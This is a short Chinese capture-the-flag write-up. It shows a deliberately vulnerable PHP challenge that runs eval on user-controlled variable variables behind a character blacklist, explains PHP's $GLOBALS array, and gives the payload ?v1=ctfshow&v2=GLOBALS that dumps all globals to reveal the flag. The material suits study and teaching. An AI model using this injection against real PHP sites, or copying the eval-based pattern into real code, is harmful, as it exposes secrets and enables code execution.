PHP特性:关于全局变量global的学习
<?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); } if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); } } ?>
$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
变量覆盖是没跑了,但是不知道flag在哪个变量,此时可以使用全局变量:GLOBALS
举个例子:
<?php $a=123; $b=456; var_dump($GLOBALS);
会输出很多:
["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["GLOBALS"]=> *RECURSION* ["a"]=> int(123) ["b"]=> int(456) } ["a"]=> int(123) ["b"]=> int(456) }
最后我们可以发现我们自定义的变量也在这其中:
[“a”]=> int(123) [“b”]=> int(456) }
这样就可以输出我们的flag了
直接使用payload:
?v1=ctfshow&v2=GLOBALS